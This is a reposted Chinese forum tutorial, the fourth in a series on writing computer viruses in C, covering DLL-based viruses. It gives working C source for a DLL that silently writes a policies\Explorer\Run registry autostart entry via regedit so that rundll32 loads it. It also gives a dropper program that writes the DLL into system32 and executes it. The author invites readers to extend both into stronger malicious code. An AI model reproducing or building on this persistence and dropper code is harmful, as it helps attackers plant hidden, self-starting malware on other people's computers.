用C语言写病毒(4)

来源:互联网 发布:java实现数据库同步 编辑:程序博客网 时间:2024/04/29 15:39

原帖及讨论:http://bbs.bc-cn.net/dispbbs.asp?boardid=5&id=156885

前几期链接:
第一期,最简单的exe病毒(TC编译通过):http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=142740&star=at#
第二期,一个完整病毒示例(DEV-CPP工程下 GCC编译通过):http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148427&star=at#
第三期,编程技术和病毒原理(1)--注册表:http://bbs.bc-cn.net/dispbbs.asp?BoardID=5&ID=148947&star=at#
-------------------------------------------------------------------------------------------------

首先说明一下,有些网友提出前3篇文章大都在讲注册表,没有新内容,但我认为:现在病毒几乎100%修改注册表,

因而(1)(2)的两个病毒示例也应做到如此,并且(1)(2)中分别用了不同的修改方法,用了不少不同的病毒技术.

而(3)是(1)(2)中部分技术的总结与技术方法的详细介绍,并又介绍了一些其它的注册表操作,再者,90%的病毒

必须通过注册表自启动,因此修改注册表可以是每个"真"病毒必须做的事.

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承担,本人不负任何责任,否则,请马上离开.

拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护条理》、《中华人民共和国著作权法》、《中华人民共和国知识产权法》等法律最大限度的制裁!!

--------------------------------------------------------------------------------------------------
这次讲一下DLL病毒:
随着病毒的发展,病毒也由破坏的目的转为利益的目的,因此隐蔽的DLL病毒逐渐发展起来.DLL是Dynamic Link

Library 的缩写,中文为动态链接库,它的实质并不是一个程序,而是由多个功能函数构成的.而DLL病毒是通过

特别的方法,让系统文件Rundll.exe / Rundll32.exe等调用其的函数,而所调用的函数的代码就是病毒代码,或

者通过线程插入技术插入到系统进程explorer.exe svchost.exe lsass.exe winlogon.exe 等或

iexplorer.exe等常用软件进程中,达到隐蔽的目的.
DLL病毒的编写(rundll32.exe调用法)
同建立一般的C工程一样,建立一个DLL C工程,这时会有两个文件dll.h dllmain.c被建立,其中在dll.h中声明

函数,dllmain.c中编写函数,函数的内容就是病毒代码.
最简单的DLL病毒例子:
dllmain.c内容:

/*只要你有充足的知识积淀,可以无限的扩充,使其变的强悍
具体代码可以参照<用C语言写病毒(2)>*/
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#include "dll.h"
#include <stdio.h>
#include <stdlib.h>

DLLIMPORT void start ()
{
  FILE *output;
  /*
    注册[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/policies/Explorer/run]
    这又是一个以前未与大家说的注册表位置,这个位置可以提前与explorer.exe执行,且一般的病毒用的不

多,十分隐蔽
  */
  if((output=fopen("$","w"))!=NULL)
  {
    fprintf(output,"REGEDIT4/n

[HKEY_LOCAL_MACHINE//SOFTWARE//Microsoft//Windows//CurrentVersion//policies//Explorer//run]

/n/"Userinit/"=/"rundll32.exe C:////WINDOWS////system32////winsys.dll start ()/"");
    fclose(output);
    spawnl(0,"c://windows//regedit.exe"," /s $",NULL);
    remove("$");
  }
}
dll.h内容:
/*在DEV-CPP 4.9.9.2 DLL C工程中编译测试通过*/
#ifndef _DLL_H_
#define _DLL_H_

#if BUILDING_DLL
# define DLLIMPORT __declspec (dllexport)
#else
# define DLLIMPORT __declspec (dllimport)
#endif

DLLIMPORT void start (void);

#endif /* _DLL_H_ */
这个例子可以在explorer.exe运行前启动并再次自动写自动运行键值,前提是需要将该DLL文件写于

c:/windows/system32/winsys.dll,这就可以交给exe主病毒来做了,这就是要说的DLL病毒与EXE病毒联合,这样

可以加强病毒的攻击力度,它由主病毒体*.exe来释放dll病毒辅助体*.dll,达到dll与exe联合的作用.一般

的,dll用来设置注册表的自启动,以及病毒的复制,而exe用来破坏.当然,也有少部分DLL病毒孤军奋战,由于十

分隐蔽,也常常十分好用

释放病毒体示例:
/*释放上面的简单dll病毒体的例子的exe*/
#include<stdio.h>
unsigned char DLL[15161] = {
...此处代码过长,略... 具体代码下载(DLL代码+EXE释放代码):    点击下载该文件
};
int main(void)
{
    FILE *output;
    int i;
    output=fopen("C://WINDOWS//system32//winsys.dll","wb");
    fwrite(DLL,sizeof(DLL),1,output);
    fclose(output);
    spawnl(1,"c://windows//system32//rundll32.exe"," C://WINDOWS//system32//winsys.dll start

()",NULL);
    return 0;
}

好了,抛砖引玉,将代码增加,更改,换做你写的更厉害的代码...
就写到这儿,请期待连载(5)

本期完整代码下载:(DLL代码+EXE释放代码):   点击下载该文件

 

 
原创粉丝点击